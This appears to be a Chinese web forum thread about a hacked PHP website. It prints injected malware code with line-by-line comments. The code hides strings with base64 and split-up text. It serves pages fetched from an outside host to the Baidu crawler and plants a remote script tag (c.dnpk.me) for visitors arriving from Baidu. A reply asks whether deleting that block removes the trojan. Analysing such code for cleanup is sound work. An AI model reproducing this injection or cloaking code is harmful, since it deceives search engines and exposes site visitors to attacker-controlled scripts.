原理很好明白:
//下面字符串内容为:<script src=http://c.dnpk.me.:7050/tv.htm></script>
$dedeN="PHNjcmlwdCBzcmM9aHR0cDovL2MuZG5way5tZS46NzA1MC90di5odG0+PC9zY3JpcHQ+";
//下面if判断检查是否为百度爬虫,这样是,直接丢给爬虫的是其它网站的一个网页内容
if(strpos(strtolower($_SERVER["HT"."TP_US"."E"."R_AG"."EN"."T"]),"aidu")){ 
//file_get_contents 读取链接 http://b.dnpk.net:833/yx1/tv.asp  的内容
echo file_get_contents(base64_decode('aHR0cDovL2IuZG5way5uZXQ6ODMzL3l4MS90di5hc3A='));
//终止程序执行
exit();}
else if(stristr($_SERVER["H"."TT"."P_REF"."E"."RER"],"aidu")){
//如果从百度过来的链接:则你的网页中会包含:<script src=http://c.dnpk.me.:7050/tv.htm></script>
echo base64_decode($dedeN); }

解决方案 »

  1.   

    非常感谢,打开网站一个页面查看源代码呈现的一段,又如何解释;是不是把PHP源程序那一段删除了,木马就清除了?<script type="text/javascript">
    var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://");
    document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3Fb72ab2d3720957a8c84e9d1b4e4224e5' type='text/javascript'%3E%3C/script%3E"));
    </script>